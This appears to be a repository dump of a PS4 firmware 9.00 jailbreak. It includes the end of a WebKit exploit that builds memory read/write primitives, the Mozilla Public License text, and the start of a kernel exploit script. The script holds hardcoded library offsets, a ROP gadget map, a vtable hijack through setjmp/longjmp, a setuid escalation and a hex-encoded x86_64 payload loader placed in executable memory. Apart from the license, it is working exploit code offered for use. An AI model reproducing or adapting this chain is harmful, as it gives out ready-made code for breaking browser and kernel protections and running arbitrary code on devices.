403 | expl_slave[0] = value;
404 | expl_slave[1] = 0;
405 | }
406 | },
407 | write4: function (addr, value) {
408 | expl_master[4] = addr.low;
409 | expl_master[5] = addr.hi;
410 | if (value instanceof int64) {
411 | expl_slave[0] = value.low;
412 | } else {
413 | expl_slave[0] = value;
414 | }
415 | },
416 | write2: function (addr, value) {
417 | expl_master[4] = addr.low;
418 | expl_master[5] = addr.hi;
419 | var tmp = expl_slave[0] & 0xFFFF0000;
420 | if (value instanceof int64) {
421 | expl_slave[0] = ((value.low & 0xFFFF) | tmp);
422 | } else {
423 | expl_slave[0] = ((value & 0xFFFF) | tmp);
424 | }
425 | },
426 | write1: function (addr, value) {
427 | expl_master[4] = addr.low;
428 | expl_master[5] = addr.hi;
429 | var tmp = expl_slave[0] & 0xFFFFFF00;
430 | if (value instanceof int64) {
431 | expl_slave[0] = ((value.low & 0xFF) | tmp);
432 | } else {
433 | expl_slave[0] = ((value & 0xFF) | tmp);
434 | }
435 | },
436 | read8: function (addr) {
437 | expl_master[4] = addr.low;
438 | expl_master[5] = addr.hi;
439 | return new int64(expl_slave[0], expl_slave[1]);
440 | },
441 | read4: function (addr) {
442 | expl_master[4] = addr.low;
443 | expl_master[5] = addr.hi;
444 | return expl_slave[0];
445 | },
446 | read2: function (addr) {
447 | expl_master[4] = addr.low;
448 | expl_master[5] = addr.hi;
449 | return expl_slave[0] & 0xFFFF;
450 | },
451 | read1: function (addr) {
452 | expl_master[4] = addr.low;
453 | expl_master[5] = addr.hi;
454 | return expl_slave[0] & 0xFF;
455 | },
456 | leakval: function (obj) {
457 | obj_slave.obj = obj;
458 | return new int64(obj_master[4], obj_master[5]);
459 | }
460 | };
461 | window.p = prim;
462 | run_hax();
463 | }
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | NOTE: pOOBs4 CONTENT NOT COVERED, NOT MY WORK
2 |
3 | Mozilla Public License Version 2.0
4 | ==================================
5 |
6 | 1. Definitions
7 | --------------
8 |
9 | 1.1. "Contributor"
10 | means each individual or legal entity that creates, contributes to
11 | the creation of, or owns Covered Software.
12 |
13 | 1.2. "Contributor Version"
14 | means the combination of the Contributions of others (if any) used
15 | by a Contributor and that particular Contributor's Contribution.
16 |
17 | 1.3. "Contribution"
18 | means Covered Software of a particular Contributor.
19 |
20 | 1.4. "Covered Software"
21 | means Source Code Form to which the initial Contributor has attached
22 | the notice in Exhibit A, the Executable Form of such Source Code
23 | Form, and Modifications of such Source Code Form, in each case
24 | including portions thereof.
25 |
26 | 1.5. "Incompatible With Secondary Licenses"
27 | means
28 |
29 | (a) that the initial Contributor has attached the notice described
30 | in Exhibit B to the Covered Software; or
31 |
32 | (b) that the Covered Software was made available under the terms of
33 | version 1.1 or earlier of the License, but not also under the
34 | terms of a Secondary License.
35 |
36 | 1.6. "Executable Form"
37 | means any form of the work other than Source Code Form.
38 |
39 | 1.7. "Larger Work"
40 | means a work that combines Covered Software with other material, in
41 | a separate file or files, that is not Covered Software.
42 |
43 | 1.8. "License"
44 | means this document.
45 |
46 | 1.9. "Licensable"
47 | means having the right to grant, to the maximum extent possible,
48 | whether at the time of the initial grant or subsequently, any and
49 | all of the rights conveyed by this License.
50 |
51 | 1.10. "Modifications"
52 | means any of the following:
53 |
54 | (a) any file in Source Code Form that results from an addition to,
55 | deletion from, or modification of the contents of Covered
56 | Software; or
57 |
58 | (b) any new file in Source Code Form that contains any Covered
59 | Software.
60 |
61 | 1.11. "Patent Claims" of a Contributor
62 | means any patent claim(s), including without limitation, method,
63 | process, and apparatus claims, in any patent Licensable by such
64 | Contributor that would be infringed, but for the grant of the
65 | License, by the making, using, selling, offering for sale, having
66 | made, import, or transfer of either its Contributions or its
67 | Contributor Version.
68 |
69 | 1.12. "Secondary License"
70 | means either the GNU General Public License, Version 2.0, the GNU
71 | Lesser General Public License, Version 2.1, the GNU Affero General
72 | Public License, Version 3.0, or any later versions of those
73 | licenses.
74 |
75 | 1.13. "Source Code Form"
76 | means the form of the work preferred for making modifications.
77 |
78 | 1.14. "You" (or "Your")
79 | means an individual or a legal entity exercising rights under this
80 | License. For legal entities, "You" includes any entity that
81 | controls, is controlled by, or is under common control with You. For
82 | purposes of this definition, "control" means (a) the power, direct
83 | or indirect, to cause the direction or management of such entity,
84 | whether by contract or otherwise, or (b) ownership of more than
85 | fifty percent (50%) of the outstanding shares or beneficial
86 | ownership of such entity.
87 |
88 | 2. License Grants and Conditions
89 | --------------------------------
90 |
91 | 2.1. Grants
92 |
93 | Each Contributor hereby grants You a world-wide, royalty-free,
94 | non-exclusive license:
95 |
96 | (a) under intellectual property rights (other than patent or trademark)
97 | Licensable by such Contributor to use, reproduce, make available,
98 | modify, display, perform, distribute, and otherwise exploit its
99 | Contributions, either on an unmodified basis, with Modifications, or
100 | as part of a Larger Work; and
101 |
102 | (b) under Patent Claims of such Contributor to make, use, sell, offer
103 | for sale, have made, import, and otherwise transfer either its
104 | Contributions or its Contributor Version.
105 |
106 | 2.2. Effective Date
107 |
108 | The licenses granted in Section 2.1 with respect to any Contribution
109 | become effective for each Contribution on the date the Contributor first
110 | distributes such Contribution.
111 |
112 | 2.3. Limitations on Grant Scope
113 |
114 | The licenses granted in this Section 2 are the only rights granted under
115 | this License. No additional rights or licenses will be implied from the
116 | distribution or licensing of Covered Software under this License.
117 | Notwithstanding Section 2.1(b) above, no patent license is granted by a
118 | Contributor:
119 |
120 | (a) for any code that a Contributor has removed from Covered Software;
121 | or
122 |
123 | (b) for infringements caused by: (i) Your and any other third party's
124 | modifications of Covered Software, or (ii) the combination of its
125 | Contributions with other software (except as part of its Contributor
126 | Version); or
127 |
128 | (c) under Patent Claims infringed by Covered Software in the absence of
129 | its Contributions.
130 |
131 | This License does not grant any rights in the trademarks, service marks,
132 | or logos of any Contributor (except as may be necessary to comply with
133 | the notice requirements in Section 3.4).
134 |
135 | 2.4. Subsequent Licenses
136 |
137 | No Contributor makes additional grants as a result of Your choice to
138 | distribute the Covered Software under a subsequent version of this
139 | License (see Section 10.2) or under the terms of a Secondary License (if
140 | permitted under the terms of Section 3.3).
141 |
142 | 2.5. Representation
143 |
144 | Each Contributor represents that the Contributor believes its
145 | Contributions are its original creation(s) or it has sufficient rights
146 | to grant the rights to its Contributions conveyed by this License.
147 |
148 | 2.6. Fair Use
149 |
150 | This License is not intended to limit any rights You have under
151 | applicable copyright doctrines of fair use, fair dealing, or other
152 | equivalents.
153 |
154 | 2.7. Conditions
155 |
156 | Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted
157 | in Section 2.1.
158 |
159 | 3. Responsibilities
160 | -------------------
161 |
162 | 3.1. Distribution of Source Form
163 |
164 | All distribution of Covered Software in Source Code Form, including any
165 | Modifications that You create or to which You contribute, must be under
166 | the terms of this License. You must inform recipients that the Source
167 | Code Form of the Covered Software is governed by the terms of this
168 | License, and how they can obtain a copy of this License. You may not
169 | attempt to alter or restrict the recipients' rights in the Source Code
170 | Form.
171 |
172 | 3.2. Distribution of Executable Form
173 |
174 | If You distribute Covered Software in Executable Form then:
175 |
176 | (a) such Covered Software must also be made available in Source Code
177 | Form, as described in Section 3.1, and You must inform recipients of
178 | the Executable Form how they can obtain a copy of such Source Code
179 | Form by reasonable means in a timely manner, at a charge no more
180 | than the cost of distribution to the recipient; and
181 |
182 | (b) You may distribute such Executable Form under the terms of this
183 | License, or sublicense it under different terms, provided that the
184 | license for the Executable Form does not attempt to limit or alter
185 | the recipients' rights in the Source Code Form under this License.
186 |
187 | 3.3. Distribution of a Larger Work
188 |
189 | You may create and distribute a Larger Work under terms of Your choice,
190 | provided that You also comply with the requirements of this License for
191 | the Covered Software. If the Larger Work is a combination of Covered
192 | Software with a work governed by one or more Secondary Licenses, and the
193 | Covered Software is not Incompatible With Secondary Licenses, this
194 | License permits You to additionally distribute such Covered Software
195 | under the terms of such Secondary License(s), so that the recipient of
196 | the Larger Work may, at their option, further distribute the Covered
197 | Software under the terms of either this License or such Secondary
198 | License(s).
199 |
200 | 3.4. Notices
201 |
202 | You may not remove or alter the substance of any license notices
203 | (including copyright notices, patent notices, disclaimers of warranty,
204 | or limitations of liability) contained within the Source Code Form of
205 | the Covered Software, except that You may alter any license notices to
206 | the extent required to remedy known factual inaccuracies.
207 |
208 | 3.5. Application of Additional Terms
209 |
210 | You may choose to offer, and to charge a fee for, warranty, support,
211 | indemnity or liability obligations to one or more recipients of Covered
212 | Software. However, You may do so only on Your own behalf, and not on
213 | behalf of any Contributor. You must make it absolutely clear that any
214 | such warranty, support, indemnity, or liability obligation is offered by
215 | You alone, and You hereby agree to indemnify every Contributor for any
216 | liability incurred by such Contributor as a result of warranty, support,
217 | indemnity or liability terms You offer. You may include additional
218 | disclaimers of warranty and limitations of liability specific to any
219 | jurisdiction.
220 |
221 | 4. Inability to Comply Due to Statute or Regulation
222 | ---------------------------------------------------
223 |
224 | If it is impossible for You to comply with any of the terms of this
225 | License with respect to some or all of the Covered Software due to
226 | statute, judicial order, or regulation then You must: (a) comply with
227 | the terms of this License to the maximum extent possible; and (b)
228 | describe the limitations and the code they affect. Such description must
229 | be placed in a text file included with all distributions of the Covered
230 | Software under this License. Except to the extent prohibited by statute
231 | or regulation, such description must be sufficiently detailed for a
232 | recipient of ordinary skill to be able to understand it.
233 |
234 | 5. Termination
235 | --------------
236 |
237 | 5.1. The rights granted under this License will terminate automatically
238 | if You fail to comply with any of its terms. However, if You become
239 | compliant, then the rights granted under this License from a particular
240 | Contributor are reinstated (a) provisionally, unless and until such
241 | Contributor explicitly and finally terminates Your grants, and (b) on an
242 | ongoing basis, if such Contributor fails to notify You of the
243 | non-compliance by some reasonable means prior to 60 days after You have
244 | come back into compliance. Moreover, Your grants from a particular
245 | Contributor are reinstated on an ongoing basis if such Contributor
246 | notifies You of the non-compliance by some reasonable means, this is the
247 | first time You have received notice of non-compliance with this License
248 | from such Contributor, and You become compliant prior to 30 days after
249 | Your receipt of the notice.
250 |
251 | 5.2. If You initiate litigation against any entity by asserting a patent
252 | infringement claim (excluding declaratory judgment actions,
253 | counter-claims, and cross-claims) alleging that a Contributor Version
254 | directly or indirectly infringes any patent, then the rights granted to
255 | You by any and all Contributors for the Covered Software under Section
256 | 2.1 of this License shall terminate.
257 |
258 | 5.3. In the event of termination under Sections 5.1 or 5.2 above, all
259 | end user license agreements (excluding distributors and resellers) which
260 | have been validly granted by You or Your distributors under this License
261 | prior to termination shall survive termination.
262 |
263 | ************************************************************************
264 | * *
265 | * 6. Disclaimer of Warranty *
266 | * ------------------------- *
267 | * *
268 | * Covered Software is provided under this License on an "as is" *
269 | * basis, without warranty of any kind, either expressed, implied, or *
270 | * statutory, including, without limitation, warranties that the *
271 | * Covered Software is free of defects, merchantable, fit for a *
272 | * particular purpose or non-infringing. The entire risk as to the *
273 | * quality and performance of the Covered Software is with You. *
274 | * Should any Covered Software prove defective in any respect, You *
275 | * (not any Contributor) assume the cost of any necessary servicing, *
276 | * repair, or correction. This disclaimer of warranty constitutes an *
277 | * essential part of this License. No use of any Covered Software is *
278 | * authorized under this License except under this disclaimer. *
279 | * *
280 | ************************************************************************
281 |
282 | ************************************************************************
283 | * *
284 | * 7. Limitation of Liability *
285 | * -------------------------- *
286 | * *
287 | * Under no circumstances and under no legal theory, whether tort *
288 | * (including negligence), contract, or otherwise, shall any *
289 | * Contributor, or anyone who distributes Covered Software as *
290 | * permitted above, be liable to You for any direct, indirect, *
291 | * special, incidental, or consequential damages of any character *
292 | * including, without limitation, damages for lost profits, loss of *
293 | * goodwill, work stoppage, computer failure or malfunction, or any *
294 | * and all other commercial damages or losses, even if such party *
295 | * shall have been informed of the possibility of such damages. This *
296 | * limitation of liability shall not apply to liability for death or *
297 | * personal injury resulting from such party's negligence to the *
298 | * extent applicable law prohibits such limitation. Some *
299 | * jurisdictions do not allow the exclusion or limitation of *
300 | * incidental or consequential damages, so this exclusion and *
301 | * limitation may not apply to You. *
302 | * *
303 | ************************************************************************
304 |
305 | 8. Litigation
306 | -------------
307 |
308 | Any litigation relating to this License may be brought only in the
309 | courts of a jurisdiction where the defendant maintains its principal
310 | place of business and such litigation shall be governed by laws of that
311 | jurisdiction, without reference to its conflict-of-law provisions.
312 | Nothing in this Section shall prevent a party's ability to bring
313 | cross-claims or counter-claims.
314 |
315 | 9. Miscellaneous
316 | ----------------
317 |
318 | This License represents the complete agreement concerning the subject
319 | matter hereof. If any provision of this License is held to be
320 | unenforceable, such provision shall be reformed only to the extent
321 | necessary to make it enforceable. Any law or regulation which provides
322 | that the language of a contract shall be construed against the drafter
323 | shall not be used to construe this License against a Contributor.
324 |
325 | 10. Versions of the License
326 | ---------------------------
327 |
328 | 10.1. New Versions
329 |
330 | Mozilla Foundation is the license steward. Except as provided in Section
331 | 10.3, no one other than the license steward has the right to modify or
332 | publish new versions of this License. Each version will be given a
333 | distinguishing version number.
334 |
335 | 10.2. Effect of New Versions
336 |
337 | You may distribute the Covered Software under the terms of the version
338 | of the License under which You originally received the Covered Software,
339 | or under the terms of any subsequent version published by the license
340 | steward.
341 |
342 | 10.3. Modified Versions
343 |
344 | If you create software not governed by this License, and you want to
345 | create a new license for such software, you may create and use a
346 | modified version of this License if you rename the license and remove
347 | any references to the name of the license steward (except to note that
348 | such modified license differs from this License).
349 |
350 | 10.4. Distributing Source Code Form that is Incompatible With Secondary
351 | Licenses
352 |
353 | If You choose to distribute Source Code Form that is Incompatible With
354 | Secondary Licenses under the terms of this version of the License, the
355 | notice described in Exhibit B of this License must be attached.
356 |
357 | Exhibit A - Source Code Form License Notice
358 | -------------------------------------------
359 |
360 | This Source Code Form is subject to the terms of the Mozilla Public
361 | License, v. 2.0. If a copy of the MPL was not distributed with this
362 | file, You can obtain one at http://mozilla.org/MPL/2.0/.
363 |
364 | If it is not possible or desirable to put the notice in a particular
365 | file, then You may include the notice in a location (such as a LICENSE
366 | file in a relevant directory) where a recipient would be likely to look
367 | for such a notice.
368 |
369 | You may add additional accurate notices of copyright ownership.
370 |
371 | Exhibit B - "Incompatible With Secondary Licenses" Notice
372 | ---------------------------------------------------------
373 |
374 | This Source Code Form is "Incompatible With Secondary Licenses", as
375 | defined by the Mozilla Public License, v. 2.0.
376 |
--------------------------------------------------------------------------------
/static/9.0.0/kexploit.js:
--------------------------------------------------------------------------------
1 | var chain;
2 | var kchain;
3 | var kchain2;
4 | var SAVED_KERNEL_STACK_PTR;
5 | var KERNEL_BASE_PTR;
6 |
7 | var webKitBase;
8 | var webKitRequirementBase;
9 |
10 | var libSceLibcInternalBase;
11 | var libKernelBase;
12 |
13 | var textArea = document.createElement("textarea");
14 |
15 | const OFFSET_wk_vtable_first_element = 0x104F110;
16 | const OFFSET_WK_memset_import = 0x000002A8;
17 | const OFFSET_WK___stack_chk_fail_import = 0x00000178;
18 | const OFFSET_WK_psl_builtin_import = 0xD68;
19 |
20 | const OFFSET_WKR_psl_builtin = 0x33BA0;
21 |
22 | const OFFSET_WK_setjmp_gadget_one = 0x0106ACF7;
23 | const OFFSET_WK_setjmp_gadget_two = 0x01ECE1D3;
24 | const OFFSET_WK_longjmp_gadget_one = 0x0106ACF7;
25 | const OFFSET_WK_longjmp_gadget_two = 0x01ECE1D3;
26 |
27 | const OFFSET_libcint_memset = 0x0004F810;
28 | const OFFSET_libcint_setjmp = 0x000BB5BC;
29 | const OFFSET_libcint_longjmp = 0x000BB616;
30 |
31 | const OFFSET_WK2_TLS_IMAGE = 0x38e8020;
32 |
33 |
34 | const OFFSET_lk___stack_chk_fail = 0x0001FF60;
35 | const OFFSET_lk_pthread_create = 0x00025510;
36 | const OFFSET_lk_pthread_join = 0x0000AFA0;
37 |
38 | var nogc = [];
39 | var syscalls = {};
40 | var gadgets = {};
41 | var wk_gadgetmap = {
42 | "ret": 0x32,
43 | "pop rdi": 0x319690,
44 | "pop rsi": 0x1F4D6,
45 | "pop rdx": 0x986C,
46 | "pop rcx": 0x657B7,
47 | "pop r8": 0xAFAA71,
48 | "pop r9": 0x422571,
49 | "pop rax": 0x51A12,
50 | "pop rsp": 0x4E293,
51 |
52 | "mov [rdi], rsi": 0x1A97920,
53 | "mov [rdi], rax": 0x10788F7,
54 | "mov [rdi], eax": 0x9964BC,
55 |
56 | "cli ; pop rax": 0x566F8,
57 | "sti": 0x1FBBCC,
58 |
59 | "mov rax, [rax]": 0x241CC,
60 | "mov rax, [rsi]": 0x5106A0,
61 | "mov [rax], rsi": 0x1EFD890,
62 | "mov [rax], rdx": 0x1426A82,
63 | "mov [rax], edx": 0x3B7FE4,
64 | "add rax, rsi": 0x170397E,
65 | "mov rdx, rax": 0x53F501,
66 | "add rax, rcx": 0x2FBCD,
67 | "mov rsp, rdi": 0x2048062,
68 | "mov rdi, [rax + 8] ; call [rax]": 0x751EE7,
69 | "infloop": 0x7DFF,
70 |
71 | "mov [rax], cl": 0xC6EAF,
72 | };
73 |
74 | var wkr_gadgetmap = {
75 | "xchg rdi, rsp ; call [rsi - 0x79]": 0x1d74f0 //JOP 3
76 | };
77 |
78 | var wk2_gadgetmap = {
79 | "mov [rax], rdi": 0xFFDD7,
80 | "mov [rax], rcx": 0x2C9ECA,
81 | "mov [rax], cx": 0x15A7D52,
82 | };
83 | var hmd_gadgetmap = {
84 | "add [r8], r12": 0x2BCE1
85 | };
86 | var ipmi_gadgetmap = {
87 | "mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]": 0x344B
88 | };
89 |
90 | function userland() {
91 |
92 | //RW -> ROP method is strongly based off of:
93 | //https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit
94 |
95 | p.launch_chain = launch_chain;
96 | p.malloc = malloc;
97 | p.malloc32 = malloc32;
98 | p.stringify = stringify;
99 | p.array_from_address = array_from_address;
100 | p.readstr = readstr;
101 |
102 | //pointer to vtable address
103 | var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
104 | //address of vtable
105 | var textAreaVtable = p.read8(textAreaVtPtr);
106 | //use address of 1st entry (in .text) to calculate webkitbase
107 | webKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element);
108 |
109 | libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import)));
110 | libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset);
111 |
112 | libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import)));
113 | libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail);
114 |
115 | webKitRequirementBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_psl_builtin_import)));
116 | webKitRequirementBase.sub32inplace(OFFSET_WKR_psl_builtin);
117 |
118 | for (var gadget in wk_gadgetmap) {
119 | window.gadgets[gadget] = webKitBase.add32(wk_gadgetmap[gadget]);
120 | }
121 | for (var gadget in wkr_gadgetmap) {
122 | window.gadgets[gadget] = webKitRequirementBase.add32(wkr_gadgetmap[gadget]);
123 | }
124 |
125 | function get_jmptgt(address) {
126 | var instr = p.read4(address) & 0xFFFF;
127 | var offset = p.read4(address.add32(2));
128 | if (instr != 0x25FF) {
129 | return 0;
130 | }
131 | return address.add32(0x6 + offset);
132 | }
133 |
134 | function malloc(sz) {
135 | var backing = new Uint8Array(0x10000 + sz);
136 | window.nogc.push(backing);
137 | var ptr = p.read8(p.leakval(backing).add32(0x10));
138 | ptr.backing = backing;
139 | return ptr;
140 | }
141 |
142 | function malloc32(sz) {
143 | var backing = new Uint8Array(0x10000 + sz * 4);
144 | window.nogc.push(backing);
145 | var ptr = p.read8(p.leakval(backing).add32(0x10));
146 | ptr.backing = new Uint32Array(backing.buffer);
147 | return ptr;
148 | }
149 |
150 | function array_from_address(addr, size) {
151 | var og_array = new Uint32Array(0x1000);
152 | var og_array_i = p.leakval(og_array).add32(0x10);
153 |
154 | p.write8(og_array_i, addr);
155 | p.write4(og_array_i.add32(0x8), size);
156 | p.write4(og_array_i.add32(0xC), 0x1);
157 |
158 | nogc.push(og_array);
159 | return og_array;
160 | }
161 |
162 | function stringify(str) {
163 | var bufView = new Uint8Array(str.length + 1);
164 | for (var i = 0; i < str.length; i++) {
165 | bufView[i] = str.charCodeAt(i) & 0xFF;
166 | }
167 | window.nogc.push(bufView);
168 | return p.read8(p.leakval(bufView).add32(0x10));
169 | }
170 |
171 | function readstr(addr) {
172 | var str = "";
173 | for (var i = 0;; i++) {
174 | var c = p.read1(addr.add32(i));
175 | if (c == 0x0) {
176 | break;
177 | }
178 | str += String.fromCharCode(c);
179 |
180 | }
181 | return str;
182 | }
183 |
184 | var fakeVtable_setjmp = p.malloc32(0x200);
185 | var fakeVtable_longjmp = p.malloc32(0x200);
186 | var original_context = p.malloc32(0x40);
187 | var modified_context = p.malloc32(0x40);
188 |
189 | p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp);
190 | p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
191 | p.write8(fakeVtable_setjmp.add32(0x10), original_context);
192 | p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp));
193 | p.write8(fakeVtable_setjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
194 |
195 | p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp);
196 | p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
197 | p.write8(fakeVtable_longjmp.add32(0x10), modified_context);
198 | p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
199 | p.write8(fakeVtable_longjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
200 |
201 | function launch_chain(chain) {
202 | chain.push(window.gadgets["pop rdi"]);
203 | chain.push(original_context);
204 | chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
205 |
206 | p.write8(textAreaVtPtr, fakeVtable_setjmp);
207 | textArea.scrollLeft = 0x0;
208 | p.write8(modified_context.add32(0x00), window.gadgets["ret"]);
209 | p.write8(modified_context.add32(0x10), chain.stack);
210 | p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40)))
211 |
212 | p.write8(textAreaVtPtr, fakeVtable_longjmp);
213 | textArea.scrollLeft = 0x0;
214 | p.write8(textAreaVtPtr, textAreaVtable);
215 | }
216 |
217 | var kview = new Uint8Array(0x1000);
218 | var kstr = p.leakval(kview).add32(0x10);
219 | var orig_kview_buf = p.read8(kstr);
220 |
221 | p.write8(kstr, window.libKernelBase);
222 | p.write4(kstr.add32(8), 0x40000);
223 | var countbytes;
224 |
225 | for (var i = 0; i < 0x40000; i++) {
226 | if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) {
227 | countbytes = i;
228 | break;
229 | }
230 | }
231 | p.write4(kstr.add32(8), countbytes + 32);
232 | var dview32 = new Uint32Array(1);
233 | var dview8 = new Uint8Array(dview32.buffer);
234 | for (var i = 0; i < countbytes; i++) {
235 | if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) {
236 | dview8[0] = kview[i + 3];
237 | dview8[1] = kview[i + 4];
238 | dview8[2] = kview[i + 5];
239 | dview8[3] = kview[i + 6];
240 | var syscallno = dview32[0];
241 | window.syscalls[syscallno] = window.libKernelBase.add32(i);
242 | }
243 | }
244 | p.write8(kstr, orig_kview_buf);
245 |
246 | chain = new rop();
247 |
248 | //Sanity check
249 | if (chain.syscall(SYSCALL_GETPID).low == 0) {
250 | alert("webkit exploit failed. Try again if your ps4 is on fw 9.00.");
251 | while (1);
252 | }
253 | }
254 |
255 | function run_hax() {
256 | userland();
257 | if (chain.syscall(SYSCALL_SETUID, 0).low != 0x0) {
258 | kernel();
259 | //this wk exploit is pretty stable we can probably afford to kill webkit before payload loader but should we?.
260 | //p.write8(0x0, 0x0); //write to 0x0 -> kill browser.
261 | }
262 |
263 | var payload_buffer = chain.syscall(SYSCALL_MMAP, 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0);
264 | var payload_loader = p.malloc32(0x1000);
265 |
266 | //NOTE: You can replace this with a payload instead of the loader.
267 | //You would need to create an array view of payload_buffer to do that. (var payload_writer = p.array_from_address(payload_buffer);)
268 | //And other ways, ....
269 |
270 | //This is x86_64 asm, you can disassemble it* if you want to know what the payload loader does under the hood. (* will need to account for endianness)
271 | var loader_writer = payload_loader.backing;
272 | loader_writer[0] = 0x56415741;
273 | loader_writer[1] = 0x83485541;
274 | loader_writer[2] = 0x894818EC;
275 | loader_writer[3] = 0xC748243C;
276 | loader_writer[4] = 0x10082444;
277 | loader_writer[5] = 0x483C2302;
278 | loader_writer[6] = 0x102444C7;
279 | loader_writer[7] = 0x00000000;
280 | loader_writer[8] = 0x000002BF;
281 | loader_writer[9] = 0x0001BE00;
282 | loader_writer[10] = 0xD2310000;
283 | loader_writer[11] = 0x00009CE8;
284 | loader_writer[12] = 0xC7894100;
285 | loader_writer[13] = 0x8D48C789;
286 | loader_writer[14] = 0xBA082474;
287 | loader_writer[15] = 0x00000010;
288 | loader_writer[16] = 0x000095E8;
289 | loader_writer[17] = 0xFF894400;
290 | loader_writer[18] = 0x000001BE;
291 | loader_writer[19] = 0x0095E800;
292 | loader_writer[20] = 0x89440000;
293 | loader_writer[21] = 0x31F631FF;
294 | loader_writer[22] = 0x0062E8D2;
295 | loader_writer[23] = 0x89410000;
296 | loader_writer[24] = 0x2C8B4CC6;
297 | loader_writer[25] = 0x45C64124;
298 | loader_writer[26] = 0x05EBC300;
299 | loader_writer[27] = 0x01499848;
300 | loader_writer[28] = 0xF78944C5;
301 | loader_writer[29] = 0xBAEE894C;
302 | loader_writer[30] = 0x00001000;
303 | loader_writer[31] = 0x000025E8;
304 | loader_writer[32] = 0x7FC08500;
305 | loader_writer[33] = 0xFF8944E7;
306 | loader_writer[34] = 0x000026E8;
307 | loader_writer[35] = 0xF7894400;
308 | loader_writer[36] = 0x00001EE8;
309 | loader_writer[37] = 0x2414FF00;
310 | loader_writer[38] = 0x18C48348;
311 | loader_writer[39] = 0x5E415D41;
312 | loader_writer[40] = 0x31485F41;
313 | loader_writer[41] = 0xC748C3C0;
314 | loader_writer[42] = 0x000003C0;
315 | loader_writer[43] = 0xCA894900;
316 | loader_writer[44] = 0x48C3050F;
317 | loader_writer[45] = 0x0006C0C7;
318 | loader_writer[46] = 0x89490000;
319 | loader_writer[47] = 0xC3050FCA;
320 | loader_writer[48] = 0x1EC0C748;
321 | loader_writer[49] = 0x49000000;
322 | loader_writer[50] = 0x050FCA89;
323 | loader_writer[51] = 0xC0C748C3;
324 | loader_writer[52] = 0x00000061;
325 | loader_writer[53] = 0x0FCA8949;
326 | loader_writer[54] = 0xC748C305;
327 | loader_writer[55] = 0x000068C0;
328 | loader_writer[56] = 0xCA894900;
329 | loader_writer[57] = 0x48C3050F;
330 | loader_writer[58] = 0x006AC0C7;
331 | loader_writer[59] = 0x89490000;
332 | loader_writer[60] = 0xC3050FCA;
333 | chain.syscall(SYSCALL_MPROTECT, payload_loader, 0x4000, (0x1 | 0x2 | 0x4));
334 |
335 | var pthread = p.malloc(0x10);
336 | //
337 | {
338 | chain.fcall(window.syscalls[SYSCALL_MLOCK], payload_buffer, 0x300000);
339 | chain.fcall(libKernelBase.add32(OFFSET_lk_pthread_create), pthread, 0x0, payload_loader, payload_buffer);
340 | }
341 | chain.run();
342 |
343 |
344 | awaitpl();
345 | }
346 |
347 | function kernel() {
348 | extra_gadgets();
349 | kchain_setup();
350 | object_setup();
351 | trigger_spray();
352 | patch_once();
353 | }
354 |
355 | var handle;
356 | var random_path;
357 | var ex_info;
358 |
359 | function load_prx(name) {
360 | //sys_dynlib_load_prx
361 | var res = chain.syscall(SYSCALL_sys_dynlib_load_prx, p.stringify(`/${random_path}/common/lib/${name}`), 0x0, handle, 0x0);
362 | if (res.low != 0x0) {
363 | alert("failed to load prx/get handle " + name);
364 | }
365 | //sys_dynlib_get_info_ex
366 | p.write8(ex_info, 0x1A8);
367 | res = chain.syscall(SYSCALL_sys_dynlib_get_info_ex, p.read4(handle), 0x0, ex_info);
368 | if (res.low != 0x0) {
369 | alert("failed to get module info from handle");
370 | }
371 | var tlsinit = p.read8(ex_info.add32(0x110));
372 | var tlssize = p.read4(ex_info.add32(0x11C));
373 |
374 | if (tlssize != 0) {
375 | if (name == "libSceWebKit2.sprx") {
376 | tlsinit.sub32inplace(OFFSET_WK2_TLS_IMAGE);
377 | } else {
378 | alert(`${name}, tlssize is non zero. this usually indicates that this module has a tls phdr with real data. You can hardcode the imgage to base offset here if you really wish to use one of these.`);
379 | }
380 | }
381 | return tlsinit;
382 | }
383 |
384 | //Obtain extra gadgets through module loading
385 | function extra_gadgets() {
386 | handle = p.malloc(0x1E8);
387 | var randomized_path_length_ptr = handle.add32(0x4);
388 | var randomized_path_ptr = handle.add32(0x14);
389 | ex_info = randomized_path_ptr.add32(0x40);
390 |
391 | p.write8(randomized_path_length_ptr, 0x2C);
